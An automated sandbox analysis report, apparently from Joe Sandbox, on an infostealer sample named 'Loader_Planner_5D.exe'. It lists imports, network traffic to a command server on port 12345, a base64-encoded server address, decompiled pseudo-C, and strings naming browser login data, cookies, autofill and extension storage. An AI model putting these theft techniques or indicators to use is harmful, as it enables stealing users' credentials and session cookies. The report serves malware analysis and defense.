GetFileAttributesExW, SetEndOfFile
USER32.dll	GetWindowRect, EnumDisplayDevicesW, GetDesktopWindow
ADVAPI32.dll	GetCurrentHwProfileW
SHELL32.dll	SHGetKnownFolderPath
ole32.dll	CoTaskMemFree
CRYPT32.dll	CryptUnprotectData
WS2_32.dll	WSAStartup, send, inet_pton, closesocket, WSACleanup, connect, socket, recv, htons

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 17:30:24.522656918 CET	49696	12345	192.168.2.4	217.114.43.57
Mar 20, 2023 17:30:24.583851099 CET	12345	49696	217.114.43.57	192.168.2.4
Mar 20, 2023 17:30:25.085346937 CET	49696	12345	192.168.2.4	217.114.43.57
Mar 20, 2023 17:30:25.149147987 CET	12345	49696	217.114.43.57	192.168.2.4
Mar 20, 2023 17:30:25.663491011 CET	49696	12345	192.168.2.4	217.114.43.57
Mar 20, 2023 17:30:25.725620031 CET	12345	49696	217.114.43.57	192.168.2.4

Statistics

High Level Behavior Distribution

Click to dive into process behavior distribution

Disassembly

Reset < >

Analysis Process: Loader_Planner_5D.exePID: 6020, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.9%
Total number of Nodes:	469
Total number of Limit Nodes:	37

Executed Functions

Function 00007FF710634D60 Relevance: 142.4, APIs: 48, Strings: 32, Instructions: 2412
networklibraryloaderCOMMONCrypto

Download Yara Rule

C-Code - Quality: 25%

			E00007FF77FF710634D60(long long* __rax) {
				void* _t6;
				void* _t16;

				E00007FF77FF710641E18(__rax, _t16);
				r8d = 0x118;
				E00007FF77FF7106441A0();
				 *((intOrPtr*)(__rax)) = 0x11c;
				GetModuleHandleW(??);
				GetProcAddress(??, ??);
				if (__rax == 0) goto 0x10634dcd;
				_t6 =  *__rax();
				if (_t6 != 0) goto 0x10634dbb;
				if ( *((intOrPtr*)(__rax + 4)) == 0xb) goto 0x10634dd3;
				goto E00007FF77FF710641E10;
				return _t6;
			}

0x7ff710634d6b
0x7ff710634d72
0x7ff710634d7f
0x7ff710634d8b
0x7ff710634d91
0x7ff710634da1
0x7ff710634daa
0x7ff710634daf
0x7ff710634db3
0x7ff710634db9
0x7ff710634dc8
0x7ff710634dd2

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF710634D91
GetProcAddress.KERNEL32 ref: 00007FF710634DA1
WSAStartup.WS2_32 ref: 00007FF710634F98
socket.WS2_32 ref: 00007FF710634FAF
htons.WS2_32 ref: 00007FF710634FCA
inet_pton.WS2_32 ref: 00007FF710634FEC
connect.WS2_32 ref: 00007FF710635002
closesocket.WS2_32 ref: 00007FF710635014

Part of subcall function 00007FF710639130: send.WS2_32 ref: 00007FF710639243
Part of subcall function 00007FF710639130: recv.WS2_32 ref: 00007FF71063925E

Part of subcall function 00007FF710638030: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710638140
Part of subcall function 00007FF710638030: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71063814C

Part of subcall function 00007FF710628830: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710628888

Part of subcall function 00007FF7106288D0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106289D7
Part of subcall function 00007FF7106288D0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7106289E3

WSACleanup.WS2_32 ref: 00007FF71063501A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710635081
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710635087
std::_Xinvalid_argument.LIBCPMT ref: 00007FF710635094
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106350A7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106350AD
GetUserDefaultLangID.KERNELBASE ref: 00007FF71063510A
closesocket.WS2_32 ref: 00007FF710637382

Part of subcall function 00007FF7106376F0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063775D

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710637630
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710637636
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063763C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710637642
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710637648
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063764E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710637654
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063765A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710637660
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710637666
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063766C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF710637672
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710637678
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063767E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710637684
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710637690
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710637696
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063769C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106376A2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106376A8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106376AE
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7106376B4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106376BA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106376C0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106376C6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106376CC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106376D2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106376D8

Part of subcall function 00007FF710641E18: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF710641E48
Part of subcall function 00007FF710641E18: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF710641E4E

Strings

ExeName: , xrefs: 00007FF710635617
MjE3LjExNC40My41Nw==, xrefs: 00007FF710634E27
invalid stoi argument, xrefs: 00007FF71063508D
Autofills: , xrefs: 00007FF71063641D, 00007FF71063644D, 00007FF7106365C1, 00007FF7106365EA
ExeName, xrefs: 00007FF710635310
RAM: , xrefs: 00007FF710635553
Cookies, xrefs: 00007FF710635CEA, 00007FF710635FD8
Pw:, xrefs: 00007FF710635ABE, 00007FF710635C6E
GPU: , xrefs: 00007FF7106354F1
RAM, xrefs: 00007FF71063540A
password: , xrefs: 00007FF710635A8E, 00007FF710635C47
MTIzNDU=, xrefs: 00007FF710634E9D
end_send: , xrefs: 00007FF7106371FD, 00007FF71063733F
HWID, xrefs: 00007FF7106352CD
GPU, xrefs: 00007FF7106353C7
Cookies:, xrefs: 00007FF710635DBD, 00007FF710635F5D, 00007FF7106360AD, 00007FF71063624C
Keys*@* , xrefs: 00007FF71063576F
CPU: , xrefs: 00007FF71063548F
cookie: , xrefs: 00007FF710635D8D, 00007FF710635F31, 00007FF71063607D, 00007FF710636221
RtlGetVersion, xrefs: 00007FF710634D9A
Desktop: , xrefs: 00007FF7106355B5
stoi argument out of range, xrefs: 00007FF71063509A
Web Data, xrefs: 00007FF71063637B
ntdll.dll, xrefs: 00007FF710634D84
CPU, xrefs: 00007FF71063538D
Local Extension Settings, xrefs: 00007FF7106366EA
Desktop, xrefs: 00007FF71063534A
HWID: , xrefs: 00007FF71063544D
VXNlciBEYXRhXERlZmF1bHRcQ29va2llcw==, xrefs: 00007FF7106358D0
VXNlciBEYXRhXERlZmF1bHRcTmV0d29ya1xDb29raWVz, xrefs: 00007FF710635845
end_sys: , xrefs: 00007FF710635679
Login Data, xrefs: 00007FF7106359F5

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task$closesocket$AddressCleanupDefaultHandleLangModuleProcStartupUserXinvalid_argumentconnecthtonsinet_ptonrecvsendsocketstd::_
String ID: Autofills: $CPU$CPU: $Cookies$Cookies:$Desktop$Desktop: $ExeName$ExeName: $GPU$GPU: $HWID$HWID: $Keys*@* $Local Extension Settings$Login Data$MTIzNDU=$MjE3LjExNC40My41Nw==$Pw:$RAM$RAM: $RtlGetVersion$VXNlciBEYXRhXERlZmF1bHRcQ29va2llcw==$VXNlciBEYXRhXERlZmF1bHRcTmV0d29ya1xDb29raWVz$Web Data$cookie: $end_send: $end_sys: $invalid stoi argument$ntdll.dll$password: $stoi argument out of range
API String ID: 2806860500-150977523
Opcode ID: d43e13a91f1a7cc9bf28dfbd1cb00dd2bbbbc702f50cf23d41d8bd8fca9874c5
Instruction ID: fae6dfdd2d359d8754d50301310fc0853a1f58f23e999dcfe2a2a3fd7f038c2d
Opcode Fuzzy Hash: d43e13a91f1a7cc9bf28dfbd1cb00dd2bbbbc702f50cf23d41d8bd8fca9874c5
Instruction Fuzzy Hash: 6133A632A14F8695EB10EB74D8543EDA362FB857A8F805131EA4D4B7D9DF38E688C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71063D8D0 Relevance: 15.4, APIs: 10, Instructions: 360
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 48%

			E00007FF77FF71063D8D0(long long __rdx, void* __rdi, void* __rsi, void* __rbp, void* __r15) {
				signed int _v24;
				char _v276;
				void* _v280;
				signed long long _v288;
				signed int _v296;
				char _v312;
				long long _v320;
				void* __rbx;
				void* _t28;
				signed long long _t35;
				long long _t43;
				signed long long _t57;
				signed long long _t63;

				_t35 =  *0x10689010; // 0xafe3859a1ce3
				_v24 = _t35 ^ _t63;
				_t43 = __rdx;
				_v320 = __rdx;
				GetCurrentHwProfileW(??); // executed
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0x30], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqu [esp+0x40], xmm1");
				if ( *((short*)( &_v276 + 0xfffffffffffffffe)) != 0) goto 0x1063d920;
				E00007FF77FF710634890( &_v312,  &_v276, __rdi, 0, __r15);
				_t54 =  >=  ? _v312 :  &_v312;
				_t56 =  >=  ? _v312 :  &_v312;
				E00007FF77FF7106381E0(_t43, _t43,  >=  ? _v312 :  &_v312, __rsi, __rbp, ( >=  ? _v312 :  &_v312) + _v296 * 2);
				_t57 = _v288;
				if (_t57 - 8 < 0) goto 0x1063d9a7;
				if (2 + _t57 * 2 - 0x1000 < 0) goto 0x1063d9a2;
				if (_v312 -  *((intOrPtr*)(_v312 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x1063d9c3;
				return E00007FF77FF710641DF0(E00007FF77FF710641E10(_v312 -  *((intOrPtr*)(_v312 - 8)) + 0xfffffff8,  *((intOrPtr*)(_v312 - 8))), _t28, _v24 ^ _t63);
			}

0x7ff71063d8d9
0x7ff71063d8e3
0x7ff71063d8eb
0x7ff71063d8ee
0x7ff71063d8f8
0x7ff71063d8fe
0x7ff71063d901
0x7ff71063d906
0x7ff71063d909
0x7ff71063d929
0x7ff71063d935
0x7ff71063d946
0x7ff71063d95a
0x7ff71063d963
0x7ff71063d969
0x7ff71063d972
0x7ff71063d98b
0x7ff71063d9a0
0x7ff71063d9c2

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 00007FF71063D8F8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063D9C3
GetModuleHandleW.KERNEL32 ref: 00007FF71063DA12
GetModuleFileNameW.KERNEL32 ref: 00007FF71063DA24
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063DC95
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063DC9B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063DCA1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063DCA7
GetDesktopWindow.USER32 ref: 00007FF71063DCEC
GetWindowRect.USER32 ref: 00007FF71063DCFA

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ModuleWindow$CurrentDesktopFileHandleNameProfileRect
String ID:
API String ID: 3778679376-0
Opcode ID: 52759aafafc49720c19f37d6f233b8dbcb83ffe3850acf3bf43a4697b82b32b2
Instruction ID: ddf97ef4860a87a0ce45a33ae21ff7718ef173a38b2829e3162d1beed2d62822
Opcode Fuzzy Hash: 52759aafafc49720c19f37d6f233b8dbcb83ffe3850acf3bf43a4697b82b32b2
Instruction Fuzzy Hash: F8F1D272B18F4185EB10EF24E4842ADA372FB857A8F909231EA5D57B99DF3CE049C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710653BCC Relevance: 10.8, APIs: 7, Instructions: 286
COMMONLIBRARYCODECrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00007FF77FF710653BCC(signed int __ecx, void* __esi, signed int* __rax, void* __rcx, long long __rdx, long long __r8, char _a8, long long _a16, intOrPtr _a32) {
				signed int* _v72;
				char _v80;
				signed int _v88;
				signed int* _v96;
				void* _v104;
				signed int _v120;
				void* __rbx;
				void* __rdi;
				signed char _t127;
				signed int _t141;
				int _t150;
				void* _t151;
				void* _t155;
				char _t169;
				char _t170;
				signed int _t174;
				void* _t178;
				void* _t193;
				void* _t194;
				void* _t195;
				unsigned int _t197;
				void* _t200;
				long long _t205;
				signed int* _t241;
				signed long long _t248;
				signed short* _t252;
				signed int* _t254;
				void* _t255;
				signed int* _t256;
				intOrPtr _t265;
				intOrPtr _t266;
				signed long long _t272;
				void* _t279;
				long long _t284;
				unsigned long long _t285;
				signed short* _t287;
				signed long long _t290;
				signed long long _t291;
				signed short* _t295;
				signed short* _t297;
				unsigned long long _t299;
				signed long long _t300;
				signed int* _t302;
				char* _t303;
				char* _t304;

				_t284 = __r8;
				_a16 = __rdx;
				r13d = r8d;
				if (r12d != 0xfffffffe) goto 0x10653c07;
				E00007FF77FF71064A604(__rax);
				 *__rax =  *__rax & 0x00000000;
				E00007FF77FF71064A624(__rax);
				 *__rax = 9;
				goto 0x10654003;
				if (__ecx < 0) goto 0x10653feb;
				_t200 = r12d -  *0x1068b870; // 0x40
				if (_t200 >= 0) goto 0x10653feb;
				r8d = 1;
				_v80 = __r8;
				_t290 = __ecx >> 6;
				_v88 = _t290;
				_t300 = __ecx + __ecx * 8;
				_t265 =  *((intOrPtr*)(0x1068b470 + _t290 * 8));
				if ((r8b &  *(_t265 + 0x38 + _t300 * 8)) == 0) goto 0x10653feb;
				if (r13d - 0x7fffffff <= 0) goto 0x10653c77;
				E00007FF77FF71064A604(__ecx);
				 *__ecx =  *__ecx & 0x00000000;
				_t127 = E00007FF77FF71064A624(__ecx);
				 *__ecx = 0x16;
				goto 0x10653ffe;
				if (r13d == 0) goto 0x10653fe7;
				if ((_t127 & 0x00000002) != 0) goto 0x10653fe7;
				_t205 = __rdx;
				if (_t205 == 0) goto 0x10653c5f;
				r11d =  *((char*)(_t265 + 0x39 + _t300 * 8));
				_t241 =  *((intOrPtr*)(_t265 + 0x28 + _t300 * 8));
				_v96 = _t241;
				_a8 = r11b;
				_t23 = _t255 + 4; // 0x4
				r15d = _t23;
				if (_t205 == 0) goto 0x10653ce6;
				if (r11d - r8d != r8d) goto 0x10653cde;
				if ((r8b &  !r13d) != 0) goto 0x10653cde;
				E00007FF77FF71064A604(_t241);
				 *_t241 =  *_t241 & 0;
				E00007FF77FF71064A624(_t241);
				 *_t241 = 0x16;
				E00007FF77FF71064A198();
				goto 0x10653e75;
				goto 0x10653d65;
				if ((r8b &  !r13d) == 0) goto 0x10653cc2;
				_t193 =  <  ? r15d : r13d >> 1;
				E00007FF77FF710654688(_t241, __rcx, __rdx);
				_t256 = _t241;
				E00007FF77FF710651DC8(_t241, __rcx);
				E00007FF77FF710651DC8(_t241, __rcx);
				_t302 = _t256;
				if (_t256 != 0) goto 0x10653d37;
				E00007FF77FF71064A624(_t241);
				 *_t241 = 0xc;
				E00007FF77FF71064A604(_t241);
				 *_t241 = 8;
				goto 0x10653e75;
				_t28 = _t265 + 1; // 0x1
				r8d = _t28;
				E00007FF77FF710654290(_t178, _t241, _t256, 0x1068b470, _t279);
				_t291 = _v88;
				r8d = 1;
				r11b = _a8;
				 *( *((intOrPtr*)(0x1068b470 + _t291 * 8)) + 0x30 + _t300 * 8) = _t241;
				_t266 =  *((intOrPtr*)(0x1068b470 + _t291 * 8));
				_v72 = _t302;
				r10d = 0x7ff71068b47a;
				if (( *(_t266 + 0x38 + _t300 * 8) & 0x00000048) == 0) goto 0x10653dfd;
				_t141 =  *((intOrPtr*)(_t266 + 0x3a + _t300 * 8));
				if (_t141 == r10b) goto 0x10653dfd;
				if (_t193 == 0) goto 0x10653dfd;
				 *_t302 = _t141;
				_t303 = _t302 + _t284;
				_t194 = _t193 - 1;
				 *((intOrPtr*)( *((intOrPtr*)(0x1068b470 + _t291 * 8)) + 0x3a + _t300 * 8)) = r10b;
				if (r11b == 0) goto 0x10653dfd;
				_t169 =  *((intOrPtr*)( *((intOrPtr*)(0x1068b470 + _t291 * 8)) + 0x3b + _t300 * 8));
				if (_t169 == r10b) goto 0x10653dfd;
				if (_t194 == 0) goto 0x10653dfd;
				 *_t303 = _t169;
				_t304 = _t303 + _t284;
				_t195 = _t194 - 1;
				 *((intOrPtr*)( *((intOrPtr*)(0x1068b470 + _t291 * 8)) + 0x3b + _t300 * 8)) = r10b;
				if (r11b != r8b) goto 0x10653dfd;
				_t170 =  *((intOrPtr*)( *((intOrPtr*)(0x1068b470 + _t291 * 8)) + 0x3c + _t300 * 8));
				if (_t170 == r10b) goto 0x10653dfd;
				if (_t195 == 0) goto 0x10653dfd;
				 *_t304 = _t170;
				 *((intOrPtr*)( *((intOrPtr*)(0x1068b470 + _t291 * 8)) + 0x3c + _t300 * 8)) = r10b;
				if (E00007FF77FF71065BE3C(r12d,  *((intOrPtr*)(0x1068b470 + _t291 * 8))) == 0) goto 0x10653e93;
				_t248 =  *((intOrPtr*)(0x1068b470 + _v88 * 8));
				if ( *((char*)(_t248 + 0x38 + _t300 * 8)) >= 0) goto 0x10653e93;
				if (GetConsoleMode(??, ??) == 0) goto 0x10653e93;
				if (_a8 != 2) goto 0x10653e98;
				_v120 = _v120 & 0x00000000;
				_t197 = _t195 - 1 >> 1;
				r8d = _t197;
				if (ReadConsoleW(??, ??, ??, ??, ??) != 0) goto 0x10653e87;
				E00007FF77FF71064A598(GetLastError(), _t248, _v96);
				E00007FF77FF710651DC8(_t248, _t256);
				goto 0x10654006;
				goto 0x10653ed4;
				_v80 = 0;
				_v120 = _v120 & 0x00000000;
				r8d = _t197;
				_t150 = ReadFile(??, ??, ??, ??, ??); // executed
				if (_t150 == 0) goto 0x10653fb1;
				if (_a32 - r13d > 0) goto 0x10653fb1;
				if ( *((char*)( *((intOrPtr*)(0x1068b470 + _v88 * 8)) + 0x38 + _t300 * 8)) >= 0) goto 0x10653e78;
				_t285 = 0x1068b470 + _t248 * 2 + _a32;
				if (_a8 == 2) goto 0x10653f1f;
				_t272 = _t304 + _t284;
				_v120 = _t299 >> 1;
				_t151 = E00007FF77FF7106537DC(_t150, 0, r12d, __esi, _t256, _t272, _t285, _a16);
				goto 0x10653e78;
				if (_v80 == 0) goto 0x10653f9f;
				_t297 = _v72;
				_t252 = _t297;
				_t295 =  &(_t297[_t285 >> 1]);
				if (_t297 - _t295 >= 0) goto 0x10653f92;
				r11d = 0xa;
				_t174 =  *_t252 & 0x0000ffff;
				if (_t174 == 0x1a) goto 0x10653f87;
				if (_t174 != 0xd) goto 0x10653f6d;
				_t287 =  &(_t252[1]);
				if (_t287 - _t295 >= 0) goto 0x10653f6d;
				if ( *_t287 != r11w) goto 0x10653f6d;
				r8d = 4;
				goto 0x10653f73;
				r8d = 2;
				 *_t297 = r11w & 0xffffffff;
				if (_t252 + _t287 - _t295 < 0) goto 0x10653f43;
				goto 0x10653f92;
				_t254 =  *((intOrPtr*)(0x1068b470 + _t272 * 8));
				 *(_t254 + 0x38 + _t300 * 8) =  *(_t254 + 0x38 + _t300 * 8) | 0x00000002;
				goto 0x10653e78;
				E00007FF77FF710653604(_t151, r12d, _t197, _v72,  &(_t297[1]));
				goto 0x10653f18;
				if (GetLastError() != 5) goto 0x10653fd7;
				E00007FF77FF71064A624(_t254);
				 *_t254 = 9;
				_t155 = E00007FF77FF71064A604(_t254);
				 *_t254 = 5;
				goto 0x10653e75;
				if (_t155 != 0x6d) goto 0x10653e6e;
				goto 0x10653e78;
				goto 0x10654006;
				E00007FF77FF71064A604(_t254);
				 *_t254 =  *_t254 & 0x00000000;
				E00007FF77FF71064A624(_t254);
				 *_t254 = 9;
				return E00007FF77FF71064A198() | 0xffffffff;
			}

0x7ff710653bcc
0x7ff710653bcc
0x7ff710653be6
0x7ff710653bed
0x7ff710653bef
0x7ff710653bf4
0x7ff710653bf7
0x7ff710653bfc
0x7ff710653c02
0x7ff710653c09
0x7ff710653c0f
0x7ff710653c16
0x7ff710653c29
0x7ff710653c32
0x7ff710653c37
0x7ff710653c3b
0x7ff710653c40
0x7ff710653c44
0x7ff710653c50
0x7ff710653c5d
0x7ff710653c5f
0x7ff710653c64
0x7ff710653c67
0x7ff710653c6c
0x7ff710653c72
0x7ff710653c7a
0x7ff710653c82
0x7ff710653c88
0x7ff710653c8b
0x7ff710653c8d
0x7ff710653c95
0x7ff710653c9d
0x7ff710653ca2
0x7ff710653caa
0x7ff710653caa
0x7ff710653cb1
0x7ff710653cb6
0x7ff710653cc0
0x7ff710653cc2
0x7ff710653cc7
0x7ff710653cc9
0x7ff710653cce
0x7ff710653cd4
0x7ff710653cd9
0x7ff710653ce4
0x7ff710653cee
0x7ff710653cf8
0x7ff710653cfe
0x7ff710653d05
0x7ff710653d08
0x7ff710653d0f
0x7ff710653d14
0x7ff710653d1a
0x7ff710653d1c
0x7ff710653d21
0x7ff710653d27
0x7ff710653d2c
0x7ff710653d32
0x7ff710653d3c
0x7ff710653d3c
0x7ff710653d40
0x7ff710653d45
0x7ff710653d4a
0x7ff710653d50
0x7ff710653d5c
0x7ff710653d61
0x7ff710653d67
0x7ff710653d72
0x7ff710653d76
0x7ff710653d7c
0x7ff710653d84
0x7ff710653d88
0x7ff710653d8a
0x7ff710653d98
0x7ff710653d9b
0x7ff710653da0
0x7ff710653da8
0x7ff710653dae
0x7ff710653db6
0x7ff710653dba
0x7ff710653dbc
0x7ff710653dc7
0x7ff710653dca
0x7ff710653dcc
0x7ff710653dd4
0x7ff710653dda
0x7ff710653de2
0x7ff710653de6
0x7ff710653de8
0x7ff710653df8
0x7ff710653e07
0x7ff710653e19
0x7ff710653e23
0x7ff710653e37
0x7ff710653e41
0x7ff710653e50
0x7ff710653e59
0x7ff710653e5b
0x7ff710653e66
0x7ff710653e70
0x7ff710653e7b
0x7ff710653e82
0x7ff710653e91
0x7ff710653e93
0x7ff710653ea5
0x7ff710653eab
0x7ff710653eb1
0x7ff710653eb9
0x7ff710653ec7
0x7ff710653eeb
0x7ff710653ef5
0x7ff710653ef8
0x7ff710653f08
0x7ff710653f0e
0x7ff710653f13
0x7ff710653f1a
0x7ff710653f27
0x7ff710653f29
0x7ff710653f2e
0x7ff710653f34
0x7ff710653f3b
0x7ff710653f3d
0x7ff710653f43
0x7ff710653f4a
0x7ff710653f50
0x7ff710653f52
0x7ff710653f59
0x7ff710653f5f
0x7ff710653f65
0x7ff710653f6b
0x7ff710653f6d
0x7ff710653f76
0x7ff710653f83
0x7ff710653f85
0x7ff710653f87
0x7ff710653f8c
0x7ff710653f9a
0x7ff710653fa7
0x7ff710653fac
0x7ff710653fba
0x7ff710653fbc
0x7ff710653fc1
0x7ff710653fc7
0x7ff710653fcc
0x7ff710653fd2
0x7ff710653fda
0x7ff710653fe2
0x7ff710653fe9
0x7ff710653feb
0x7ff710653ff0
0x7ff710653ff3
0x7ff710653ff8
0x7ff710654015

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF710653FFE

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 465e26f9a548a1510e96986508240056888fb6d3be8049415e550fa10d0a033a
Instruction ID: dc33dfef2c1aa427e0569a5806d7465092d33c8dac4c2aaa274e0d6db809bef8
Opcode Fuzzy Hash: 465e26f9a548a1510e96986508240056888fb6d3be8049415e550fa10d0a033a
Instruction Fuzzy Hash: 53C1CF62A0CE96A5E761BB1590453BDA7B2EB41BE4F858131DA4E07396CF7CF45C8320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106637F0 Relevance: .2, Instructions: 207
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 60%

			E00007FF77FF7106637F0(long long __rbx, intOrPtr* __rcx, long long __rdx, long long __rsi, void* __r9, void* __r10, char _a16, long long _a24, long long _a32) {
				void* _v40;
				long long _v72;
				void* __rdi;
				void* _t11;
				intOrPtr* _t25;
				intOrPtr** _t33;
				void* _t41;

				_a24 = __rbx;
				_a32 = __rsi;
				_t33 = __rcx;
				_t35 =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 8))));
				_t25 =  *((intOrPtr*)(__rcx));
				r14d =  *_t25;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rcx + 8)))) != 0) goto 0x10663830;
				E00007FF77FF71064F434(r14d, _t25, __rdx); // executed
				goto 0x106638d8;
				_v72 = 0x7fffffff;
				r8d = 0;
				_t11 = E00007FF77FF710660514(__rbx,  &_a16, _t33, _t35, _t41, _t35);
				if (_t11 == 0x16) goto 0x10663a5e;
				if (_t11 == 0x22) goto 0x10663a5e;
				E00007FF77FF710652430(_t11, _a16, __rdx, __r10);
				if (_t25 != 0) goto 0x10663892;
				E00007FF77FF710651DC8(_t25, _a16);
				return 0;
			}

0x7ff7106637f0
0x7ff7106637f5
0x7ff71066380f
0x7ff710663812
0x7ff710663815
0x7ff710663818
0x7ff71066381e
0x7ff710663823
0x7ff71066382b
0x7ff710663833
0x7ff71066383c
0x7ff710663843
0x7ff71066384b
0x7ff710663854
0x7ff710663863
0x7ff710663870
0x7ff710663872
0x7ff710663891

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5bccaf251d2c5e0710afb5df3967a12854f7c71c1e642e7f0de297df495c716a
Instruction ID: 9841b6ee4ae95a91840cc5756ed052f8d3e3bd0fdb2b6435ce896e48350d7770
Opcode Fuzzy Hash: 5bccaf251d2c5e0710afb5df3967a12854f7c71c1e642e7f0de297df495c716a
Instruction Fuzzy Hash: 3581A276B04E5185EB60EE65D0813BDA3B2FB44BA8F848636EE5E87795CF38E445C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106421A8 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

